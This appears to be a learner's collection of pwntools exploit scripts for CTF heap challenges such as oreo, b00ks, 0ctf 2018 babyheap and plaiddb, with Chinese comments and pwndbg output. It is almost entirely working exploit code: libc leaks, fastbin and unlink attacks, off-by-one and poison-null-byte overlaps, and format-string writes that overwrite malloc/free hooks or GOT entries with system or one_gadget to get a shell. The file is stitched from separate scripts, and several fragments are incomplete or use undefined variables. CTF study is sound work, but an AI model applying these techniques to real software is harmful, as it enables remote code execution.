#encoding=utf-8
from pwn import*

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./oreo"
oreo = ELF("./oreo")
p = process('./oreo')
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')

def add(descrip,name):
    p.sendline('1')
    p.sendline(name)
    p.sendline(descrip)

def show_rifle():
    p.sendline('2')

def order():
    p.sendline('3')

def message(notice):
    p.sendline('4')
    p.sendline(notice)

def exp():
    print 'step 1. leak libc base'
    #申请0x38,实际用户拿到的只有0x34，剩下的去precv_size拿。
    name = 27*'a' + p32(oreo.got['puts'])
    #利用堆溢出泄露got表地址从而得到libc_base
    #*((_DWORD *)i + 13的的含义是i+13*4，其中DWORD是强制类型转换为4字节
    #所以next_chunk位于chunk的最后4个字节
    #所以打印出next_chunk的地址也就是put函数的got表位置
    add(25*'a',name)
    show_rifle()
    p.recvuntil('Description: ')
    p.recvuntil('Description: ')
    puts_addr = u32(p.recvuntil('\n',drop=True)[:4])
    log.success('puts addr: '+ hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    print 'step 2. free fake chunk at 0x0804A2A8'

    #伪造fake_chunk，首先需要size值，需要大小与0x38一致，所以值应为0x40
    #这里要循环0x40次
    #将next_chunk的值改变为0x804a2a8,作为fake_chunk的入口
    oifle = 1
    while oifle < 0x3f:
        add(25*'a','a'*27 + p32(0))
        oifle += 1
    payload = 'a'*27 + p32(0x804a2a8)
    add(25*'a',payload)
    #还需要伪造next_chunk的size值，这里设置为0x100（只要在范围内即可）
    #查看0x0804a2a8的内容，为2c0,说明是从2c0处开始填充的，所以要填充0x38-0x18 =0x20
    #在填充next_chunk的prev_size为0x40
    #还要使ISMMAP为不能为1，这里为了方便全部用'\x00’填充
    #最后要使当前chunk的next指向0,这样循环只会执行1次
    """payload = 0x20*'\x00' + p32(0x40) + p32(0x100)
    payload = payload.ljust(52,'b')
    payload += p32(0)
    payload =  payload.ljust(128,'c')
    message(payload)"""
    payload = '\x00'*0x20
    payload += p32(0x40)
    payload += p32(0x20)
    message(payload)
    #free()chunk块，得到我们能进行修改的chunk
    order()
    p.recvuntil('Okay order submitted!\n')

    print 'step 3. get shell'
    #修改got表为system地址
    payload = p32(oreo.got['strlen']).ljust(20,'a')
    #将strlen函数的got表地址写到0x804a2a8上
    add(payload,'b'*20)
    log.success('system addr: ' + hex(system_addr))
    #将该地址修改为system函数的地址
    message(p32(system_addr) + ';/bin/sh\x00')

    p.interactive()

if __name__=="__main__":
    exp()

#coding=utf-8 
from pwn import*
import pwnlib
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch='i386',os='linux')

sh = process('./search')
#程序的main_arena到libc的基地址是固定的0x3c4b20
main_arena_offset = 0x3c4bb20
log.info('PID: ' + str(proc.pidof(sh)[0]))


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4
    offset += 4
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset

#计算main_arena与unsortedbin的偏移量
unsortedbin_offset_main_arena = offset_bin_main_arena(0)

def index_sentence(s):
    sh.recvuntil("3: Quit\n")
    sh.sendline('2')
    sh.recvuntil('Enter the sentence size:\n')
    sh.sendline(str(len(s)))
    sh.send(s)

def search_word(word):
    sh.recvuntil("3: Quit\n")
    sh.sendline('1')
    sh.recvuntil("Enter the word size:\n")
    sh.sendline(str(len(word)))
    sh.send(word)

#获取libc地址
def leak_libc():
    #构造一个任意大小的smallbin，在free后会成为unsorted_bin
    #其后的'b'是标志位，用于找到句子，注意空格以区分单词
    smallbin_sentence = 'a'*0x85 + ' b '
    index_sentence(smallbin_sentence)
    search_word('b')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    #free掉chunk,使其fd指向unsortedbin_addr的位置
    #而因为单词chunk的句子的地址正是指向句子的fd，该值不为空，可绕过检查
    #标志位清零后也可通过'\x00'搜索
    search_word('\x00')
    #接受输出的unsortedbin_addr
    sh.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
    unsortedbin_addr = u64(sh.recv(8))
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('n')
    return unsortedbin_addr

def exp():
    #1、获取libc地址
    unsortedbin_addr = leak_libc()
    main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
    libc_base = main_arena_addr - main_arena_offset
    log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
    log.success('libc base addr: ' + hex(libc_base))

    #2、构造fastbin循环链表
    #因为malloc_hook附近的chunk大小一般为0x70（0x7F），所以malloc_hook作为内容的fake_chunk的size同样也需要0x70
    #因为fake_chunk的大小为0x70，所以循环链表中的chunk的size也必须大于0x60，小于等于0x70
    index_sentence('a'*0x5d + ' d ')
    index_sentence('b'*0x5d + ' d ')
    index_sentence('c'*0x5d + ' d ')


    #free第一次,因为值d是相同的，所以会一起free掉
    search_word('d')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')

    #free第二次，构造循环
    #由于chunk_c的指针值为零，所以没有通过验证
    search_word('\x00')
    #chunk_b
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('n')
    #第一次创建的chunk
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('n')

    #pwnlib.gdb.attach(proc.pidof(sh)[0],gdbscript="b main")
    #pause()


    #3、创建以malloc_hook地址为内容的fake_chunk
    fake_chunk_addr = main_arena_addr - 0x33
    print hex(fake_chunk_addr)

    #在这里填入的应该直接是fd的位置
    fake_chunk = p64(fake_chunk_addr).ljust(0x60,'f')
    #申请，使其中一个chunk_b的fd变为fake_chunk所在的地址
    #此时fake_chunk已经进入fastbin
    index_sentence(fake_chunk)
    index_sentence('a'*0x60)
    index_sentence('b'*0x60)
    #将a、b申请掉

    #后面的地址由工具得出，并不存在一致性
    one_gadget_addr = libc_base + 0xf02a4
    #fake_chunk的写入处与malloc_hook的偏移为0x13
    #0x23-0x10
    payload = 'a'*0x13 + p64(one_gadget_addr)
    payload = payload.ljust(0x60,'f')
    index_sentence(payload)

    sh.interactive()

if __name__=="__main__":
    exp()

#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4
#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)
#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
#fastbin[0]->index2->index4
#改好index4的大小之后去申请两次，这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
#再申请一个防止index4与top chunk合并了
alloc(0x80)
#这时候free就会把index4放到unsorted中了
free(4)

#因为index2是指向index4的，所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))

#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)
#index2还是指向index4那个地方我们可以先释放index4
free(4)
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
#再申请一下触发one_gadget
alloc(255)
p.interactive()

keep(1)#申请一个small chunk
wipe(1)#free掉它，但是small_ptr会保留下来
keep(2)#申请一个big chunk，这时big chunk在small chunk原来的位置上（由brk分配的chunk的位置都是相邻的）
wipe(1)#这时free对应的指针正是big_ptr，big chunk会被free掉，但是big chunk的标识保留了下来，可利用其进行堆溢出
keep(1)#再申请一个small chunk，这样在new时我们可以有big chunk的修改空间

keep(3)
wipe(3)
keep(3)

payload = p64(0)#prev_size
payload += p64(0x21)#size
payload += p64(small_ptr-0x18)#fake fd
payload += p64(small_ptr-0x10)#fake bk
payload += p64(0x20)#huge chunk的prev_size，0x20的最后一位是0，表示fake chunk是一个free chunk
payload += p64(0x61a90)#huge chunk的size
new(2,payload)
wipe(3)#unlink

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55901e9b3000
Size: 0x251

Addr: 0x55901e9b3250
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b4260
Size: 0xe1

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b4340 #description/fake book
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b4370 #book1
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b43a0 #book2
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x55901e9b43d0
Size: 0x1fc31

pwndbg> x/20gx 0x55901e9b4340-0x10
0x55901e9b4330: 0x0000000000000000      0x0000000000000000
0x55901e9b4340: 0x0000000000000000      0x0000000000000031  #fake book
0x55901e9b4350: 0x00000000000000010     0x000055901e9b43c0
0x55901e9b4360: 0x0000000000000020      0x0000000000000000
0x55901e9b4370: 0x0000000000000000      0x0000000000000031  #book1
0x55901e9b4380: 0x0000000000000001      0x000055901e9b4270  #idx、name ptr
0x55901e9b4390: 0x000055901e9b4350      0x0000000000000020  #description
0x55901e9b43a0: 0x0000000000000000      0x0000000000000031  #book2
0x55901e9b43b0: 0x0000000000000002      0x00007fc95efa3010  #idx、name ptr（指向mmap首地址）
0x55901e9b43c0: 0x00007fc95ef81010      0x0000000000021000

pwndbg> vmmap

0x55901ddf1000     0x55901ddf3000 r-xp     2000 0      /mnt/
0x55901dff2000     0x55901dff3000 r--p     1000 1000   /mnt/
0x55901dff3000     0x55901dff4000 rw-p     1000 2000   /mnt/
0x55901e9b3000     0x55901e9d4000 rw-p    21000 0      [heap]
0x7fc95e9c9000     0x7fc95ebb0000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so #首个地址便是libc基地址
0x7fc95ebb0000     0x7fc95edb0000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fc95edb0000     0x7fc95edb4000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fc95edb4000     0x7fc95edb6000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fc95edb6000     0x7fc95edba000 rw-p     4000 0      
0x7fc95edba000     0x7fc95ede3000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
0x7fc95ef81000     0x7fc95efc7000 rw-p    46000 0      
0x7fc95efe3000     0x7fc95efe4000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
0x7fc95efe4000     0x7fc95efe5000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
0x7fc95efe5000     0x7fc95efe6000 rw-p     1000 0      
0x7ffd82d7c000     0x7ffd82d9d000 rw-p    21000 0      [stack]
0x7ffd82db8000     0x7ffd82dbb000 r--p     3000 0      [vvar]
0x7ffd82dbb000     0x7ffd82dbc000 r-xp     1000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]

pwndbg> p 0x00007fc95efa3010-0x7fc95e9c9000
$7 = 6135824

#coding=utf-8
from pwn import*
import pwnlib
io = process('./b00ks')
libc = ELF('./libc-2.27.so')
context.log_level = 'debug'
#3958696s
#context.terminal = ['tmux','splitw','-h']
context.terminal=['gnome-terminal','-x','sh','-c']

def Create(nsize,name,dsize,desc):
    io.sendlineafter("> ",'1')
    io.sendlineafter("name size: ",str(nsize))
    io.sendlineafter("name (Max 32 chars): ",name)
    io.sendlineafter("description size: ",str(dsize))
    io.sendlineafter("description: ",desc)
def Delete(idx):
    io.sendlineafter("> ",'2')
    io.sendlineafter("delete: ",str(idx))
def Edit(idx,desc):
    io.sendlineafter("> ",'3')
    io.sendlineafter("edit: ",str(idx))
    io.sendlineafter("description: ",desc)
def Print():
    io.sendlineafter("> ",'4')
def Change(name):
    io.sendlineafter("> ",'5')
    io.sendlineafter("name: ",name)

def leak_heap():
    global book2_addr
    io.sendlineafter("name: ","A"*0x20)
    
    Create(0x80,"AAAA",0x20,"AAAA") #book1
    Create(0x21000,"AAAA",0x21000,"AAAA") #book2
    Print()
    io.recvuntil("A"*0x20)
    book1_addr = u64(io.recv(6).ljust(8,"\x00"))
    book2_addr = book1_addr + 0x30
    log.info("book2 address: 0x%x" % book2_addr)
    
def leak_libc():
    global libc_base
    fake_book = p64(1)+p64(book2_addr + 0x8)*2+p64(0x20)
    Edit(1,fake_book)
    Change("A"*0x20)
    Print()
    io.recvuntil("Name: ")
    leak_addr = u64(io.recvn(6).ljust(8,"\x00"))
    libc_base = leak_addr - 0x5da010
    log.info("libc address: 0x%x" % libc_base)
def overwrite():
    free_hook = libc.symbols['__free_hook']+libc_base
    #malloc_hook = libc.symbols['__malloc_hook']+libc_base
    log.info("free_hook: 0x%x" % free_hook)
    #log.info("malloc_hook: 0x%x" % malloc_hook)
    one_gadget = libc_base + 0x4f432
    fake_book =p64(free_hook)*2
    #fake_book =p64(malloc_hook)*2
    Edit(1,fake_book)
    fake_book = p64(one_gadget)
    Edit(2,fake_book)
    #gdb.attach(io)
def pwn():    
    Delete(2)
    io.interactive()

if __name__=='__main__':
    leak_heap()
    leak_libc()
    overwrite()
    pwn()

#encoding=utf-8
from pwn import *
context.terminal=['gnome-terminal','-x','sh','-c']
#context.log_level='debug'
p=process('./books')
P=ELF('./books')
libc=ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def edit(ID,des):
	p.recvuntil('5: Submit\n')
	p.sendline(str(ID))
	p.recvuntil('er:\n')
	p.sendline(des)

def delete(ID):
	p.recvuntil('5: Submit\n')
	p.sendline(str(ID+2))

def submit(payload):
	p.recvuntil('5: Submit\n')
	p.sendline('5'+payload)


fini_arry0=0x6011b8  #0x400830
main_addr=0x400a39
payload = '%'+str(0xa39)+'c%13$hn'+'.%31$p'+',%28$p'
payload = payload.ljust(0x74,'a')
payload = payload.ljust(0x80,'\x00')
payload+= p64(0x90)
payload+= p64(0x151)
"""payload+= 'a'*0x140
payload+= p64(0x150)              
payload+= p64(0x21)               #为了bypass the check: !prev_inuse(next_chunk)
payload+= 'a'*0x10
payload+= p64(0x20)+p64(0x21) """    #为了使0x150的块不和nextchunk合并  
#gdb.attach(p)
delete(2)
edit(1,payload)
gdb.attach(p)
#delete(2)
submit('aaaaaaa'+p64(fini_arry0))
#submit('aaaaaaa')
#gdb.attach(p)

p.recvuntil('.')
p.recvuntil('.')
p.recvuntil('.')
date = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
date =int(date,16) - 240
ret_addr = int(ret_addr,16) - 0xd8 -0x110
libcbase = date - libc.symbols['__libc_start_main']
one_gadget = libcbase + 0x45216  #0x4526a 0xf02a4 0xf1147
log.success('ret_addr = ' + hex(ret_addr))

#raw_input()
one_shot1 ='0x' + str(hex(one_gadget))[-2:]
one_shot2 ='0x' + str(hex(one_gadget))[-6:-2]
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

payload = '%' + str(one_shot1) + 'd%13$hhn'
payload+= '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload=payload.ljust(0x74,'a')
payload=payload.ljust(0x80,'\x00')
payload+=p64(0x90)
payload+=p64(0x151)
payload+= 'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21)
payload+= 'a'*0x10+p64(0x20)+p64(0x21)
#delete(2)
edit(1,payload)
gdb.attach(p)
delete(2)
submit('aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))

p.interactive()

#encoding=utf-8
from pwn import*
sh = process('./0ctf2018/babyheap2018')
libc = ELF('./0ctf2018/libc-2.24.so')
context.terminal=['gnome-terminal','-x','sh','-c']
def alloc(size):
    sh.sendlineafter("Command: ",'1')
    sh.sendlineafter("Size: ",str(size))
def update(index,content):
    sh.sendlineafter("Command: ",'2')
    sh.sendlineafter("Index: ",str(index))
    sh.sendlineafter("Size: ",str(len(content)))
    sh.sendlineafter("Content: ",content)
def delete(idx):
    sh.sendlineafter("Command: ",'3')
    sh.sendlineafter("Index: ",str(idx))
def view(index):
    sh.sendlineafter("Command: ",'4')
    sh.sendlineafter("Index: ",str(index))
    
alloc(0x48)  #chunk0
alloc(0x48)  #chunk1
alloc(0x48)  #chunk2
alloc(0x48)  #chunk3

#gdb.attach(sh)

payload = 'A'*0x48 + p8(0xa1)
update(0,payload)   #off-by-one


delete(1)  #此时chunk1与chunk2重叠

#gdb.attach(sh)

alloc(0x48)  #分配chunk1
view(2)
sh.recvuntil("]: ")
leak_addr = u64(sh.recv(8))

alloc(0x48)  #chunk4
delete(1)    #形成fastbin以获取堆地址
delete(4)
gdb.attach(sh)
view(2)
sh.recvuntil("]: ")
heap_addr = u64(sh.recv(8))

log.info("leak_addr: 0x%x" % leak_addr)
log.info("heap_addr: 0x%x" % heap_addr)

#gdb.attach(sh)
alloc(0x58)
delete(1)
#gdb.attach(sh)
payload = p64(main_arena_addr+0x25)
update(2,payload)
#其实这段我不是很能理解，为什么还要额外申请一个0x58的，直接找对位置不好码？算了，先这样记着。

malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.info("__malloc_hook_addr: 0x%x" % malloc_hook)
#gdb.attach(sh)
alloc(0x48)  #chunk1

alloc(0x48)  #将fake chunk申请出来，注意：0x55不符合chunk的分配规则，故需要多次尝试
#chunk4

payload = 'A'*0x23 + p64(malloc_hook-0x10)

update(4,payload)

#gdb.attach(sh)

alloc(0x48) #chunk5
one_gadget = 0x455aa + libc_base
payload = p64(one_gadget)
update(5,payload)

alloc(1)
sh.interactive()

#encoding=utf-8
from pwn import*
sh = process('./0ctf2018/babyheap2018')
libc = ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.24-3ubuntu1_amd64/libc-2.24.so')
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
def alloc(size):
    sh.sendlineafter("Command: ",'1')
    sh.sendlineafter("Size: ",str(size))
def update(index,content):
    sh.sendlineafter("Command: ",'2')
    sh.sendlineafter("Index: ",str(index))
    sh.sendlineafter("Size: ",str(len(content)))
    sh.sendlineafter("Content: ",content)
def delete(idx):
    sh.sendlineafter("Command: ",'3')
    sh.sendlineafter("Index: ",str(idx))
def view(index):
    sh.sendlineafter("Command: ",'4')
    sh.sendlineafter("Index: ",str(index))
    
alloc(0x48)  #chunk0
alloc(0x48)  #chunk1
alloc(0x48)  #chunk2
alloc(0x48)  #chunk3

#gdb.attach(sh)

payload = 'A'*0x48 + p8(0xa1)
update(0,payload)   #off-by-one


delete(1)  #此时chunk1与chunk2重叠

#gdb.attach(sh)

alloc(0x48)  #分配chunk1
view(2)
sh.recvuntil("]: ")
leak_addr = u64(sh.recv(8))
libc_base = leak_addr - 88 -0x3c1b00

alloc(0x48)  #chunk4
delete(1)    #形成fastbin以获取堆地址
delete(4)
#gdb.attach(sh)
view(2)
sh.recvuntil("]: ")
heap_addr = u64(sh.recv(8))-0x50
main_arena_addr = leak_addr - 88

log.info("leak_addr: 0x%x" % leak_addr)
log.info("main_arena_addr: 0x%x" % main_arena_addr)
log.info("libc_base: 0x%x" % libc_base)
log.info("heap_addr: 0x%x" % heap_addr)
#gdb.attach(sh)
alloc(0x58)
delete(1)
#gdb.attach(sh)
payload = p64(main_arena_addr+0x25)
update(2,payload)


malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.info("__malloc_hook_addr: 0x%x" % malloc_hook)
#gdb.attach(sh)
alloc(0x48)  #chunk1

alloc(0x48)  #将fake chunk申请出来，注意：0x55不符合chunk的分配规则，故需要多次尝试
#chunk4

payload = 'A'*0x23 + p64(malloc_hook-0x10)

update(4,payload)

#gdb.attach(sh)

alloc(0x48) #chunk5
one_gadget = 0x455aa + libc_base
payload = p64(one_gadget)
update(5,payload)

alloc(1)
sh.interactive()

for i in range(0,10):
	PUT(str(i),0x38,str(i)*0x37)
for i in range(0,10):
    DEL(str(i))

PUT("B1",0x81,"X"*0x80)
libc_base = u64(GET("B2")[:8])-0X39bb78 #这个偏移应该是调试得来的

DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71) #填充B1，修改B2的size域为0x70
payload += p64(0)*12 + p64(0) + p64(0x21) #应该是为了配合B2的size域做出的布局
PUT("B1",0x191,payload.ljust(0x190,"B"))

DEL("B2") #加入fast bin
DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x23) #修改B2的fd为fake chunk,使其加入fast bin
PUT("B1",0X191,payload.ljust(0x190,"B"))

PUT("D",0x61,"D"*0x60) #依照fast bin先进先出的特点，B2先被分配
payload = p8(0)*0x13 + p64(one_gadget)
PUT("E",0x61,payload.ljust(0x60,"E")) #随后fake chunk被分配，在malloc_hook的位置写入one_gadget

io.sendline("GET")

#coding=utf-8
from pwn import*
import pwnlib
sh = process('./plaiddb.elf')
libc = ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context.log_level = 'debug'
context.terminal=['gnome-terminal','-x','sh','-c']

def PUT(key,size,data):
    sh.sendlineafter("command:","PUT")
    sh.sendlineafter("key",key)
    sh.sendlineafter("size",str(size))
    sh.sendlineafter("data",data)

def GET(key):
    sh.sendlineafter("command:","GET")
    sh.sendlineafter("key",key)
    sh.recvuntil("bytes]:\n")
    return sh.recvline()

def DEL(key):
    sh.sendlineafter("command:","DEL")
    sh.sendlineafter("key",key)

for i in range(0,10):
	PUT(str(i),0x38,str(i)*0x37)
for i in range(0,10):
    DEL(str(i))


def leak_libc():
    global libc_base

    PUT("A",0X71,"A"*0x70)
    PUT("B",0X101,"B"*0X100)
    PUT("C",0X81,"C"*0X80)
    PUT("def",0x81,"d"*0x80) #申请这个内存是为了防止chunk C在释放时与top chunk合并
    #与之前学习的漏洞利用步骤相同，先得出内存布局
    DEL("A")
    DEL("B")  #由于poison null byte利用于key部分，所以我们需要将chunk A free掉，再重新申请
    #gdb.attach(sh)
    PUT("A"*0x78,0x11,"A"*0x10)  #poison null byte
    #gdb.attach(sh)
    PUT("B1",0x81,"X"*0x80)
    PUT("B2",0X41,"Y"*0X40)  #内存的分配关系影响应该不大
    DEL("B1")
    DEL("C") #经过向后合并，B2成功重叠
    #gdb.attach(sh)
    PUT("B1",0x81,"X"*0x80)
    #gdb.attach(sh)
    #pause()
    libc_base = u64(GET("B2")[:8])-(0X3c3b20+0x58) #这个偏移应该是调试得来的
    log.info("libc address: 0x%x" % libc_base)

def pwn():
    one_gadget = libc_base + 0x4525a
    malloc_hook = libc.symbols['__malloc_hook'] + libc_base
    log.info("malloc_hook address: 0x%x" % malloc_hook)
    DEL("B1")
    payload = p64(0)*16 + p64(0) + p64(0x71)
    payload += p64(0)*12 + p64(0) + p64(0x21)
    PUT("B1",0x191,payload.ljust(0x190,"B"))

    DEL("B2")
    DEL("B1")
    payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
    PUT("B1",0X191,payload.ljust(0x190,"B"))
    #gdb.attach(sh)
    PUT("D",0x61,"D"*0x60)
    payload = p8(0)*0x13 + p64(one_gadget)
    PUT("E",0x61,payload.ljust(0x60,"E"))
    #gdb.attach(sh)
    sh.sendline("GET")
    sh.interactive()